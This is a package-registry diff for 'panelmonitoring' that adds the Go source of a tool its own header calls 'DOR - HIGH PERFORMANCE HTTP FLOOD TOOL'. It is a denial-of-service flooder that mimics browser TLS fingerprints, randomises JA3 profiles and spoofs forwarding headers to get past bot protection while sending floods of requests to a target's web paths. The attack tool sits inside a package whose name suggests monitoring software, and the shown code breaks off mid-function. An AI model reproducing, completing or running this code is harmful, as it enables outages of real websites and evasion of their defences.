panelmonitoring 1.0.0 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,1302 @@
1
+ /**
2
+ * DOR - HIGH PERFORMANCE HTTP FLOOD TOOL
3
+ *
4
+ * Features:
5
+ * - uTLS real browser fingerprints (Chrome 106, Firefox 105, Safari 16, Edge 106)
6
+ * - Byte-identical TLS ClientHello to real browsers (JA3 matching)
7
+ * - Per-worker transport with custom uTLS dialer
8
+ * - Header templates (clone, not 15 Set calls)
9
+ * - Pre-computed UA → profile index (zero scan at runtime)
10
+ * - Worker-local builders (no sync.Pool contention)
11
+ * - Fast hex generation via Int63 nibble extraction
12
+ * - Per-worker Rand source (lock-free)
13
+ * - SO_REUSEPORT + TCP_NODELAY
14
+ *
15
+ * Usage: ./dor <target> <port> <duration> <threads>
16
+ * Example: ./dor example.com 443 60 5000
17
+ */
18
+
19
+ package main
20
+
21
+ import (
22
+ "bufio"
23
+ "context"
24
+ "crypto/tls"
25
+ "encoding/json"
26
+ "flag"
27
+ "fmt"
28
+ "net"
29
+ "net/http"
30
+ "os"
31
+ "runtime"
32
+ "strconv"
33
+ "strings"
34
+ "sync"
35
+ "sync/atomic"
36
+ "syscall"
37
+ "time"
38
+
39
+ utls "github.com/refraction-networking/utls"
40
+ "golang.org/x/net/http2"
41
+ mrand "math/rand"
42
+ )
43
+
44
+ // ==================== CONFIGURATION ====================
45
+ const (
46
+ CONN_TIMEOUT = 5 * time.Second
47
+ REQUEST_TIMEOUT = 5 * time.Second
48
+ KEEP_ALIVE = 600 * time.Second
49
+ MAX_IDLE_CONNS = 10000
50
+ MAX_CONNS_PER_HOST = 10000
51
+ UA_FILE_PATH = "ua.txt"
52
+ REFERER_FILE_PATH = "referer.txt"
53
+ STATS_FILE_PATH = "dor_stats.json"
54
+ HISTORY_FILE_PATH = "dor_history.log"
55
+ BATCH_SIZE = 500
56
+ RATE_LEARN_WINDOW = 200
57
+ INITIAL_RPS = 200000
58
+ SAVE_STATS_ENABLED = false
59
+
60
+ MAX_REQUESTS_PER_CONN = 10000
61
+ )
62
+
63
+ // ==================== ANSI COLORS ====================
64
+ const (
65
+ RESET = "\033[0m"
66
+ BOLD = "\033[1m"
67
+ DIM = "\033[2m"
68
+ RED = "\033[31m"
69
+ GREEN = "\033[32m"
70
+ YELLOW = "\033[33m"
71
+ BLUE = "\033[34m"
72
+ CYAN = "\033[36m"
73
+ WHITE = "\033[37m"
74
+ BRIGHT_RED = "\033[91m"
75
+ BRIGHT_GREEN = "\033[92m"
76
+ BRIGHT_CYAN = "\033[96m"
77
+ RGB_RED = "\033[38;2;255;100;100m"
78
+ RGB_GOLD = "\033[38;2;255;200;50m"
79
+ RGB_ORANGE = "\033[38;2;255;150;50m"
80
+ RGB_PURPLE = "\033[38;2;200;100;255m"
81
+ RGB_BLUE = "\033[38;2;100;150;255m"
82
+ )
83
+
84
+ // ==================== GLOBAL STATS ====================
85
+ var (
86
+ totalRequests uint64
87
+ successRequests uint64
88
+ totalErrors uint64
89
+ blockedRequests uint64
90
+ startTime time.Time
91
+ stopFlag int32
92
+ currentRPS uint64
93
+ totalLatency uint64
94
+ latencyCount uint64
95
+ )
96
+
97
+ // ==================== DYNAMIC JA3 FINGERPRINT ENGINE ====================
98
+ // Generates unique but VALID TLS fingerprints on-the-fly
99
+ // Each request gets a different fingerprint that mimics real browser patterns
100
+
101
+ type JA3Profile struct {
102
+ Version uint16
103
+ CipherSuites []uint16
104
+ Extensions []uint16
105
+ SupportedCurves []uint16
106
+ SupportedPoints []uint8
107
+ }
108
+
109
+ // Real browser cipher suites (safe to mix)
110
+ var dynamicCipherPool = []uint16{
111
+ // TLS 1.3 suites
112
+ tls.TLS_AES_128_GCM_SHA256,
113
+ tls.TLS_AES_256_GCM_SHA384,
114
+ tls.TLS_CHACHA20_POLY1305_SHA256,
115
+ // TLS 1.2 suites (common in browsers)
116
+ 0xc02c, // TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
117
+ 0xc02b, // TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
118
+ 0xc030, // TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
119
+ 0xc02f, // TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
120
+ 0xcca9, // TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305
121
+ 0xcca8, // TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305
122
+ 0xc024, // TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
123
+ 0xc023, // TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
124
+ 0xc027, // TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
125
+ 0xc028, // TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
126
+ 0x009c, // TLS_RSA_WITH_AES_128_GCM_SHA256
127
+ 0x009d, // TLS_RSA_WITH_AES_256_GCM_SHA384
128
+ }
129
+
130
+ // Browser extensions (safe to randomize order)
131
+ var extensionPool = []uint16{
132
+ 0x0000, // server_name (always required)
133
+ 0x0005, // status_request
134
+ 0x000a, // supported_groups
135
+ 0x000b, // ec_point_formats
136
+ 0x000d, // signature_algorithms
137
+ 0x0010, // application_layer_protocol_negotiation
138
+ 0x0012, // signed_certificate_timestamp
139
+ 0x0015, // padding
140
+ 0x0017, // extended_master_secret
141
+ 0x001b, // compress_certificate
142
+ 0x0023, // session_ticket
143
+ 0x002b, // supported_versions
144
+ 0x002d, // post_handshake_auth
145
+ 0x0033, // key_share
146
+ 0x0035, // psk_key_exchange_modes
147
+ 0x4469, // extension_key_share (GREASE)
148
+ 0xff01, // renegotiation_info
149
+ }
150
+
151
+ // GREASE values (Google's Randomly Inserted Greasing Extensions)
152
+ var greaseValues = []uint16{
153
+ 0x0a0a, 0x1a1a, 0x2a2a, 0x3a3a, 0x4a4a, 0x5a5a, 0x6a6a, 0x7a7a,
154
+ 0x8a8a, 0x9a9a, 0xaaaa, 0xbaba, 0xcaca, 0xdada, 0xeaea, 0xfafa,
155
+ }
156
+
157
+ // TLS versions (real browsers use these)
158
+ var tlsVersions = []uint16{
159
+ tls.VersionTLS12,
160
+ tls.VersionTLS13,
161
+ }
162
+
163
+ // Generate unique JA3 profile dynamically
164
+ func generateDynamicJA3(rng *mrand.Rand) JA3Profile {
165
+ // Pick TLS version (70% TLS 1.3, 30% TLS 1.2 - real world ratio)
166
+ var version uint16
167
+ if rng.Intn(100) < 70 {
168
+ version = tls.VersionTLS13
169
+ } else {
170
+ version = tls.VersionTLS12
171
+ }
172
+
173
+ // Select cipher suites (10-15 suites, like real browsers)
174
+ maxCiphers := len(dynamicCipherPool)
175
+ numCiphers := 10 + rng.Intn(6)
176
+ if numCiphers > maxCiphers {
177
+ numCiphers = maxCiphers
178
+ }
179
+ cipherIndices := rng.Perm(maxCiphers)
180
+ cipherSuites := make([]uint16, numCiphers)
181
+ for i := 0; i < numCiphers; i++ {
182
+ cipherSuites[i] = dynamicCipherPool[cipherIndices[i]]
183
+ }
184
+
185
+ // Add 1-2 GREASE ciphers at random positions
186
+ numGrease := 1 + rng.Intn(2)
187
+ for i := 0; i < numGrease; i++ {
188
+ pos := rng.Intn(numCiphers)
189
+ cipherSuites[pos] = greaseValues[rng.Intn(len(greaseValues))]
190
+ }
191
+
192
+ // Select extensions (real browsers use 18-24 extensions)
193
+ // Cap at available extension pool size (19 total, 8 critical = 11 remaining)
194
+ maxExtensions := 8 + len(extensionPool[8:]) // 8 critical + remaining from pool
195
+ numExtensions := 18 + rng.Intn(7)
196
+ if numExtensions > maxExtensions {
197
+ numExtensions = maxExtensions
198
+ }
199
+ extensionSubset := make([]uint16, numExtensions)
200
+
201
+ // Always include critical extensions
202
+ extensionSubset[0] = 0x0000 // server_name
203
+ extensionSubset[1] = 0x000a // supported_groups
204
+ extensionSubset[2] = 0x000b // ec_point_formats
205
+ extensionSubset[3] = 0x000d // signature_algorithms
206
+ extensionSubset[4] = 0x0010 // alpn
207
+ extensionSubset[5] = 0x002b // supported_versions
208
+ extensionSubset[6] = 0x0033 // key_share
209
+ extensionSubset[7] = 0x0035 // psk_key_exchange_modes
210
+
211
+ // Randomize remaining extensions
212
+ remainingExtensions := make([]uint16, 0)
213
+ for _, ext := range extensionPool[8:] {
214
+ remainingExtensions = append(remainingExtensions, ext)
215
+ }
216
+
217
+ rng.Shuffle(len(remainingExtensions), func(i, j int) {
218
+ remainingExtensions[i], remainingExtensions[j] = remainingExtensions[j], remainingExtensions[i]
219
+ })
220
+
221
+ for i := 8; i < numExtensions && i-8 < len(remainingExtensions); i++ {
222
+ extensionSubset[i] = remainingExtensions[i-8]
223
+ }
224
+
225
+ // Add 1-3 GREASE extensions at random positions
226
+ for i := 0; i < 1+rng.Intn(3); i++ {
227
+ pos := 8 + rng.Intn(numExtensions-8)
228
+ extensionSubset[pos] = greaseValues[rng.Intn(len(greaseValues))]
229
+ }
230
+
231
+ // Shuffle extension order (but keep server_name first)
232
+ shuffled := extensionSubset[1:]
233
+ rng.Shuffle(len(shuffled), func(i, j int) {
234
+ shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
235
+ })
236
+ copy(extensionSubset[1:], shuffled)
237
+
238
+ // Select curves (real browsers use 3-5 curves)
239
+ allCurves := []uint16{0x001d, 0x0017, 0x0018, 0x0019, 0x0100, 0x0101, 0x0102}
240
+ numCurves := 3 + rng.Intn(3)
241
+ curveIndices := rng.Perm(len(allCurves))
242
+ supportedCurves := make([]uint16, numCurves)
243
+ for i := 0; i < numCurves; i++ {
244
+ supportedCurves[i] = allCurves[curveIndices[i]]
245
+ }
246
+
247
+ // Add GREASE curve
248
+ curveIndices2 := rng.Perm(len(supportedCurves))
249
+ greasePos := curveIndices2[0]
250
+ supportedCurves[greasePos] = greaseValues[rng.Intn(len(greaseValues))]
251
+
252
+ // Point formats (real browsers use 2-3)
253
+ supportedPoints := []uint8{0x00, 0x01}
254
+ if rng.Intn(2) == 0 {
255
+ supportedPoints = append(supportedPoints, 0x02)
256
+ }
257
+
258
+ return JA3Profile{
259
+ Version: version,
260
+ CipherSuites: cipherSuites,
261
+ Extensions: extensionSubset,
262
+ SupportedCurves: supportedCurves,
263
+ SupportedPoints: supportedPoints,
264
+ }
265
+ }
266
+
267
+ // ==================== BROWSER FINGERPRINTS (uTLS) - BACKWARD COMPAT ====================
268
+ var browserFingerprints = []struct {
269
+ name string
270
+ helloID utls.ClientHelloID
271
+ }{
272
+ {"Chrome 106", utls.HelloChrome_106_Shuffle},
273
+ {"Firefox 105", utls.HelloFirefox_105},
274
+ {"Safari 16", utls.HelloSafari_16_0},
275
+ {"Edge 106", utls.HelloEdge_106},
276
+ }
277
+
278
+ // ==================== HEADER PROFILES ====================
279
+ var headerProfiles = []struct {
280
+ userAgentMatch string
281
+ accept string
282
+ language string
283
+ encoding string
284
+ chua string
285
+ chuaPlatform string
286
+ }{
287
+ {
288
+ userAgentMatch: "Chrome.*Windows",
289
+ accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
290
+ language: "en-US,en;q=0.9",
291
+ encoding: "gzip, deflate, br",
292
+ chua: `"Not A(Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"`,
293
+ chuaPlatform: `"Windows"`,
294
+ },
295
+ {
296
+ userAgentMatch: "Firefox",
297
+ accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
298
+ language: "en-US,en;q=0.5",
299
+ encoding: "gzip, deflate, br",
300
+ chua: `""`,
301
+ chuaPlatform: `"Windows"`,
302
+ },
303
+ {
304
+ userAgentMatch: "Safari.*Mac",
305
+ accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
306
+ language: "en-US,en;q=0.9",
307
+ encoding: "gzip, deflate, br",
308
+ chua: `"Safari";v="17", "Chrome";v="120"`,
309
+ chuaPlatform: `"macOS"`,
310
+ },
311
+ {
312
+ userAgentMatch: "Edg/",
313
+ accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
314
+ language: "en-US,en;q=0.9",
315
+ encoding: "gzip, deflate, br",
316
+ chua: `"Not A(Brand";v="99", "Microsoft Edge";v="120", "Chromium";v="120"`,
317
+ chuaPlatform: `"Windows"`,
318
+ },
319
+ {
320
+ userAgentMatch: "Mobile.*Chrome",
321
+ accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
322
+ language: "en-US,en;q=0.9",
323
+ encoding: "gzip, deflate, br",
324
+ chua: `"Not A(Brand";v="99", "Chrome";v="120", "Chromium";v="120"`,
325
+ chuaPlatform: `"Android"`,
326
+ },
327
+ }
328
+
329
+ // ==================== COMMON PATHS ====================
330
+ var commonPaths = []string{
331
+ "/", "/index.html", "/home", "/main",
332
+ "/wp-admin/admin-ajax.php", "/wp-login.php", "/admin", "/login",
333
+ "/api/v1/users", "/api/v2/posts", "/api/v3/data",
334
+ "/search", "/products", "/shop", "/cart", "/checkout",
335
+ "/blog", "/news", "/articles", "/posts", "/feed",
336
+ "/images/logo.png", "/css/style.css", "/js/main.js",
337
+ "/static/js/app.js", "/static/css/main.css",
338
+ "/favicon.ico", "/robots.txt", "/sitemap.xml",
339
+ }
340
+
341
+ var secFetchDest = []string{"document", "iframe", "image"}
342
+ var secFetchMode = []string{"navigate", "cors", "no-cors"}
343
+ var secFetchSite = []string{"none", "same-origin", "cross-site"}
344
+ var cacheControls = []string{"no-cache", "no-store", "max-age=0"}
345
+
346
+ // ==================== QUERY PARAM POOL ====================
347
+ var queryParamPool [64]string
348
+
349
+ func initQueryParamPool() {
350
+ const hexDigits = "0123456789abcdef"
351
+ for i := 0; i < 64; i++ {
352
+ v1 := int64(mrand.Int63())
353
+ v2 := int64(mrand.Int63())
354
+ var key, val [12]byte
355
+ for j := 0; j < 12; j++ {
356
+ key[j] = hexDigits[(v1>>(j*4))&0xf]
357
+ val[j] = hexDigits[(v2>>(j*4))&0xf]
358
+ }
359
+ queryParamPool[i] = "?" + string(key[:]) + "=" + string(val[:])
360
+ }
361
+ }
362
+
363
+ // ==================== UA ENTRY ====================
364
+ type UAEntry struct {
365
+ ua string
366
+ profileIdx int
367
+ }
368
+
369
+ // ==================== USER AGENT LOADER ====================
370
+ type UALoader struct {
371
+ entries []UAEntry
372
+ index uint64
373
+ }
374
+
375
+ func NewUALoader(filePath string) *UALoader {
376
+ u := &UALoader{entries: make([]UAEntry, 0, 1000)}
377
+ file, err := os.Open(filePath)
378
+ if err != nil {
379
+ return u
380
+ }
381
+ defer file.Close()
382
+
383
+ scanner := bufio.NewScanner(file)
384
+ scanner.Buffer(make([]byte, 4096), 1024*1024)
385
+ for scanner.Scan() && len(u.entries) < 1000 {
386
+ line := strings.TrimSpace(scanner.Text())
387
+ if line != "" && !strings.HasPrefix(line, "#") {
388
+ u.entries = append(u.entries, UAEntry{
389
+ ua: line,
390
+ profileIdx: profileForUA(line),
391
+ })
392
+ }
393
+ }
394
+ return u
395
+ }
396
+
397
+ func (u *UALoader) GetUA() UAEntry {
398
+ if len(u.entries) == 0 {
399
+ ua := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
400
+ return UAEntry{ua: ua, profileIdx: profileForUA(ua)}
401
+ }
402
+ idx := atomic.AddUint64(&u.index, 1) % uint64(len(u.entries))
403
+ return u.entries[idx]
404
+ }
405
+
406
+ func (u *UALoader) Count() int {
407
+ return len(u.entries)
408
+ }
409
+
410
+ func profileForUA(ua string) int {
411
+ for i, p := range headerProfiles {
412
+ if strings.Contains(ua, p.userAgentMatch) {
413
+ return i
414
+ }
415
+ }
416
+ return 0
417
+ }
418
+
419
+ // ==================== REFERER LOADER ====================
420
+ type RefererLoader struct {
421
+ lines []string
422
+ index uint64
423
+ }
424
+
425
+ func NewRefererLoader(filePath string) *RefererLoader {
426
+ rl := &RefererLoader{lines: make([]string, 0, 500)}
427
+ file, err := os.Open(filePath)
428
+ if err == nil {
429
+ defer file.Close()
430
+ scanner := bufio.NewScanner(file)
431
+ for scanner.Scan() {
432
+ line := strings.TrimSpace(scanner.Text())
433
+ if line != "" && !strings.HasPrefix(line, "#") {
434
+ rl.lines = append(rl.lines, line)
435
+ }
436
+ }
437
+ }
438
+ if len(rl.lines) == 0 {
439
+ rl.lines = []string{
440
+ "https://www.google.com/",
441
+ "https://www.bing.com/",
442
+ "https://www.yahoo.com/",
443
+ "https://www.facebook.com/",
444
+ "https://www.youtube.com/",
445
+ }
446
+ }
447
+ return rl
448
+ }
449
+
450
+ func (rl *RefererLoader) GetReferer() string {
451
+ if len(rl.lines) == 0 {
452
+ return "https://www.google.com/"
453
+ }
454
+ idx := atomic.AddUint64(&rl.index, 1) % uint64(len(rl.lines))
455
+ return rl.lines[idx]
456
+ }
457
+
458
+ func (rl *RefererLoader) Count() int {
459
+ return len(rl.lines)
460
+ }
461
+
462
+ // ==================== COOKIE JAR ====================
463
+ type CookieJar struct {
464
+ cookies sync.Map
465
+ }
466
+
467
+ func (cj *CookieJar) Get(host string) string {
468
+ if v, ok := cj.cookies.Load(host); ok {
469
+ return v.(string)
470
+ }
471
+ return ""
472
+ }
473
+
474
+ func (cj *CookieJar) Set(host, cookie string) {
475
+ cj.cookies.Store(host, cookie)
476
+ }
477
+
478
+ // ==================== HEADER TEMPLATE ====================
479
+ type HeaderTemplate struct {
480
+ profileIdx int
481
+ baseHeaders map[string]string
482
+ }
483
+
484
+ func BuildHeaderTemplates() []*HeaderTemplate {
485
+ templates := make([]*HeaderTemplate, len(headerProfiles))
486
+ for i, p := range headerProfiles {
487
+ base := make(map[string]string)
488
+ base["Accept"] = p.accept
489
+ base["Accept-Encoding"] = p.encoding
490
+ base["Accept-Language"] = p.language
491
+ base["Cache-Control"] = "no-cache"
492
+ base["Connection"] = "keep-alive"
493
+ base["Pragma"] = "no-cache"
494
+ base["Upgrade-Insecure-Requests"] = "1"
495
+ base["Sec-Fetch-Dest"] = "document"
496
+ base["Sec-Fetch-Mode"] = "navigate"
497
+ base["Sec-Fetch-Site"] = "cross-site"
498
+ base["Sec-Fetch-User"] = "?1"
499
+ if p.chua != `""` {
500
+ base["Sec-Ch-Ua"] = p.chua
501
+ base["Sec-Ch-Ua-Mobile"] = "?0"
502
+ base["Sec-Ch-Ua-Platform"] = p.chuaPlatform
503
+ }
504
+ templates[i] = &HeaderTemplate{
505
+ profileIdx: i,
506
+ baseHeaders: base,
507
+ }
508
+ }
509
+ return templates
510
+ }
511
+
512
+ func cloneHeaders(tmpl *HeaderTemplate, ua string, referer string, proxyIP string, rng *mrand.Rand, cookie string) http.Header {
513
+ h := make(http.Header, len(tmpl.baseHeaders)+5)
514
+ for k, v := range tmpl.baseHeaders {
515
+ dst := make([]string, 1)
516
+ dst[0] = v
517
+ h[k] = dst
518
+ }
519
+ h.Set("User-Agent", ua)
520
+ h.Set("Referer", referer)
521
+ h.Set("Cache-Control", cacheControls[rng.Intn(len(cacheControls))])
522
+ h.Set("Sec-Fetch-Dest", secFetchDest[rng.Intn(len(secFetchDest))])
523
+ h.Set("Sec-Fetch-Mode", secFetchMode[rng.Intn(len(secFetchMode))])
524
+ h.Set("Sec-Fetch-Site", secFetchSite[rng.Intn(len(secFetchSite))])
525
+
526
+ if proxyIP != "" {
527
+ h.Set("X-Forwarded-For", proxyIP)
528
+ h.Set("X-Real-Ip", proxyIP)
529
+ h.Set("X-Client-Ip", proxyIP)
530
+ } else {
531
+ h.Set("X-Forwarded-For", randomIP(rng))
532
+ h.Set("Cf-Connecting-Ip", randomIP(rng))
533
+ }
534
+
535
+ if cookie != "" {
536
+ h.Set("Cookie", cookie)
537
+ }
538
+ return h
539
+ }
540
+
541
+ // ==================== RATE LEARNER ====================
542
+ type RateLearner struct {
543
+ target string
544
+ optimalRPS int64
545
+ currentRPS int64
546
+ successCount int64
547
+ errorCount int64
548
+ windowSize int64
549
+ }
550
+
551
+ func NewRateLearner(target string) *RateLearner {
552
+ return &RateLearner{
553
+ target: target,
554
+ currentRPS: INITIAL_RPS,
555
+ optimalRPS: INITIAL_RPS,
556
+ windowSize: RATE_LEARN_WINDOW,
557
+ }
558
+ }
559
+
560
+ func (rl *RateLearner) Record(successDelta, errorDelta int64) {
561
+ newSuccess := atomic.AddInt64(&rl.successCount, successDelta)
562
+ newError := atomic.AddInt64(&rl.errorCount, errorDelta)
563
+ total := newSuccess + newError
564
+ if total >= atomic.LoadInt64(&rl.windowSize) {
565
+ current := atomic.LoadInt64(&rl.currentRPS)
566
+ if newError > 0 {
567
+ newRPS := current * 70 / 100
568
+ if newRPS < 100 {
569
+ newRPS = 100
570
+ }
571
+ atomic.StoreInt64(&rl.currentRPS, newRPS)
572
+ } else if newSuccess > 0 && current < 5000 {
573
+ atomic.StoreInt64(&rl.currentRPS, current+100)
574
+ }
575
+ if float64(newSuccess)/float64(total+1) > 0.95 {
576
+ atomic.StoreInt64(&rl.optimalRPS, atomic.LoadInt64(&rl.currentRPS))
577
+ }
578
+ atomic.StoreInt64(&rl.successCount, 0)
579
+ atomic.StoreInt64(&rl.errorCount, 0)
580
+ }
581
+ }
582
+
583
+ // ==================== PROXY MANAGER ====================
584
+ type ProxyManager struct {
585
+ ips []string
586
+ index uint64
587
+ count int
588
+ }
589
+
590
+ func NewProxyManager(proxyFile string) *ProxyManager {
591
+ pm := &ProxyManager{}
592
+ if proxyFile != "" {
593
+ proxies, ips := loadProxies(proxyFile)
594
+ pm.ips = ips
595
+ pm.count = len(proxies)
596
+ }
597
+ return pm
598
+ }
599
+
600
+ func loadProxies(filename string) ([]string, []string) {
601
+ file, err := os.Open(filename)
602
+ if err != nil {
603
+ return []string{}, []string{}
604
+ }
605
+ defer file.Close()
606
+
607
+ var proxies, ips []string
608
+ scanner := bufio.NewScanner(file)
609
+ for scanner.Scan() {
610
+ proxy := strings.TrimSpace(scanner.Text())
611
+ if proxy != "" && !strings.HasPrefix(proxy, "#") {
612
+ proxies = append(proxies, proxy)
613
+ if idx := strings.Index(proxy, ":"); idx > 0 {
614
+ ips = append(ips, proxy[:idx])
615
+ } else {
616
+ ips = append(ips, proxy)
617
+ }
618
+ }
619
+ }
620
+ return proxies, ips
621
+ }
622
+
623
+ func (pm *ProxyManager) GetProxyIP() string {
624
+ if pm.count == 0 {
625
+ return ""
626
+ }
627
+ idx := atomic.AddUint64(&pm.index, 1) % uint64(pm.count)
628
+ return pm.ips[idx]
629
+ }
630
+
631
+ func (pm *ProxyManager) Count() int {
632
+ return pm.count
633
+ }
634
+
635
+ // ==================== UTILITY ====================
636
+ func randomIP(rng *mrand.Rand) string {
637
+ return fmt.Sprintf("%d.%d.%d.%d",
638
+ rng.Intn(256), rng.Intn(256), rng.Intn(256), rng.Intn(256))
639
+ }
640
+
641
+ // ==================== WORKER TRANSPORT (uTLS + Dynamic JA3 + http2.Transport) ====================
642
+ type WorkerTransport struct {
643
+ client *http.Client
644
+ t2 *http2.Transport
645
+ fpIdx int
646
+ }
647
+
648
+ // Shared transport pool — now with DYNAMIC JA3 generation per-connection
649
+ var (
650
+ sharedTransports []*WorkerTransport
651
+ sharedInitOnce sync.Once
652
+ ja3Counter uint64 // Track unique JA3 profiles generated
653
+ )
654
+
655
+ func initSharedTransports(target string) {
656
+ sharedInitOnce.Do(func() {
657
+ poolSize := runtime.NumCPU() * 16
658
+ sharedTransports = make([]*WorkerTransport, poolSize)
659
+
660
+ for i := 0; i < poolSize; i++ {
661
+ // v7.1: Use dynamic JA3 instead of static fingerprints
662
+ ja3Profile := generateDynamicJA3(mrand.New(mrand.NewSource(time.Now().UnixNano() + int64(i)*1234567890)))
663
+
664
+ dialer := &net.Dialer{
665
+ Timeout: CONN_TIMEOUT,
666
+ KeepAlive: KEEP_ALIVE,
667
+ DualStack: true,
668
+ Control: func(network, address string, c syscall.RawConn) error {
669
+ return c.Control(func(fd uintptr) {
670
+ syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, syscall.SO_REUSEADDR, 1)
671
+ syscall.SetsockoptInt(int(fd), syscall.SOL_SOCKET, 0xf, 1)
672
+ syscall.SetsockoptInt(int(fd), syscall.IPPROTO_TCP, syscall.TCP_NODELAY, 1)
673
+ })
674
+ },
675
+ }
676
+
677
+ tlsCfg := &utls.Config{
678
+ ServerName: target,
679
+ InsecureSkipVerify: true,
680
+ }
681
+
682
+ // v7.1: Dynamic JA3 ClientHello builder
683
+ dialTLS := func(ctx context.Context, network, addr string) (net.Conn, error) {
684
+ tcpConn, err := dialer.DialContext(ctx, network, addr)
685
+ if err != nil {
686
+ return nil, err
687
+ }
688
+
689
+ // Use base fingerprint for initialization
690
+ counter := atomic.AddUint64(&ja3Counter, 1)
691
+ baseFP := browserFingerprints[counter%uint64(len(browserFingerprints))]
692
+ uConn := utls.UClient(tcpConn, tlsCfg, baseFP.helloID)
693
+
694
+ // Apply dynamic JA3 profile
695
+ spec := createClientHelloSpec(ja3Profile, baseFP.helloID)
696
+ if err := uConn.ApplyPreset(spec); err != nil {
697
+ tcpConn.Close()
698
+ return nil, err
699
+ }
700
+
701
+ if err := uConn.Handshake(); err != nil {
702
+ tcpConn.Close()
703
+ return nil, err
704
+ }
705
+ return uConn, nil
706
+ }
707
+
708
+ t2 := &http2.Transport{
709
+ DialTLSContext: func(ctx context.Context, network, addr string, _ *tls.Config) (net.Conn, error) {
710
+ return dialTLS(ctx, network, addr)
711
+ },
712
+ DisableCompression: true,
713
+ ReadIdleTimeout: 30 * time.Second,
714
+ PingTimeout: 5 * time.Second,
715
+ MaxHeaderListSize: 1024 * 1024,
716
+ }
717
+
718
+ sharedTransports[i] = &WorkerTransport{
719
+ client: &http.Client{
720
+ Transport: t2,
721
+ Timeout: REQUEST_TIMEOUT,
722
+ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
723
+ },
724
+ t2: t2,
725
+ fpIdx: i,
726
+ }
727
+ }
728
+ })
729
+ }
730
+
731
+ // createClientHelloSpec builds uTLS ClientHelloSpec from dynamic JA3 profile
732
+ func createClientHelloSpec(profile JA3Profile, baseID utls.ClientHelloID) *utls.ClientHelloSpec {
733
+ // Convert extension IDs to TLSExtension objects
734
+ extensions := make([]utls.TLSExtension, 0, len(profile.Extensions))
735
+
736
+ // Convert curves to utls.CurveID type
737
+ curves := make([]utls.CurveID, len(profile.SupportedCurves))
738
+ for i, c := range profile.SupportedCurves {
739
+ curves[i] = utls.CurveID(c)
740
+ }
741
+
742
+ for _, extID := range profile.Extensions {
743
+ switch extID {
744
+ case 0x0000:
745
+ extensions = append(extensions, &utls.SNIExtension{})
746
+ case 0x0005:
747
+ extensions = append(extensions, &utls.StatusRequestExtension{})
748
+ case 0x000a:
749
+ extensions = append(extensions, &utls.SupportedCurvesExtension{Curves: curves})
750
+ case 0x000b:
751
+ extensions = append(extensions, &utls.SupportedPointsExtension{SupportedPoints: profile.SupportedPoints})
752
+ case 0x000d:
753
+ extensions = append(extensions, &utls.SignatureAlgorithmsExtension{
754
+ SupportedSignatureAlgorithms: []utls.SignatureScheme{
755
+ utls.ECDSAWithP256AndSHA256,
756
+ utls.ECDSAWithP384AndSHA384,
757
+ utls.ECDSAWithP521AndSHA512,
758
+ utls.PSSWithSHA256,
759
+ utls.PSSWithSHA384,
760
+ utls.PSSWithSHA512,
761
+ utls.PKCS1WithSHA256,
762
+ utls.PKCS1WithSHA384,
763
+ utls.PKCS1WithSHA512,
764
+ utls.ECDSAWithSHA1,
765
+ utls.PKCS1WithSHA1,
766
+ },
767
+ })
768
+ case 0x0010:
769
+ extensions = append(extensions, &utls.ALPNExtension{AlpnProtocols: []string{"h2", "http/1.1"}})
770
+ case 0x0015:
771
+ extensions = append(extensions, &utls.UtlsPaddingExtension{WillPad: true})
772
+ case 0x0017:
773
+ extensions = append(extensions, &utls.GenericExtension{Id: extID})
774
+ case 0x0023:
775
+ extensions = append(extensions, &utls.SessionTicketExtension{})
776
+ case 0x002b:
777
+ extensions = append(extensions, &utls.SupportedVersionsExtension{
778
+ Versions: []uint16{utls.VersionTLS13, utls.VersionTLS12},
779
+ })
780
+ case 0x0033:
781
+ extensions = append(extensions, &utls.KeyShareExtension{KeyShares: []utls.KeyShare{
782
+ {Group: curves[0], Data: nil},
783
+ }})
784
+ case 0x0035:
785
+ extensions = append(extensions, &utls.PSKKeyExchangeModesExtension{Modes: []uint8{utls.PskModeDHE}})
786
+ case 0xff01:
787
+ extensions = append(extensions, &utls.RenegotiationInfoExtension{Renegotiation: utls.RenegotiateOnceAsClient})
788
+ default:
789
+ // GREASE or unknown extensions
790
+ if isGREASE(extID) {
791
+ extensions = append(extensions, &utls.UtlsGREASEExtension{})
792
+ } else {
793
+ extensions = append(extensions, &utls.GenericExtension{Id: extID})
794
+ }
795
+ }
796
+ }
797
+
798
+ return &utls.ClientHelloSpec{
799
+ TLSVersMin: profile.Version,
800
+ TLSVersMax: utls.VersionTLS13,
801
+ CipherSuites: profile.CipherSuites,
802
+ CompressionMethods: []byte{0x00},
803
+ Extensions: extensions,
804
+ GetSessionID: nil,
805
+ }
806
+ }
807
+
808
+ // isGREASE checks if extension ID is a GREASE value
809
+ func isGREASE(extID uint16) bool {
810
+ for _, g := range greaseValues {
811
+ if extID == g {
812
+ return true
813
+ }
814
+ }
815
+ return false
816
+ }
817
+
818
+ func GetSharedTransport(workerID int) *WorkerTransport {
819
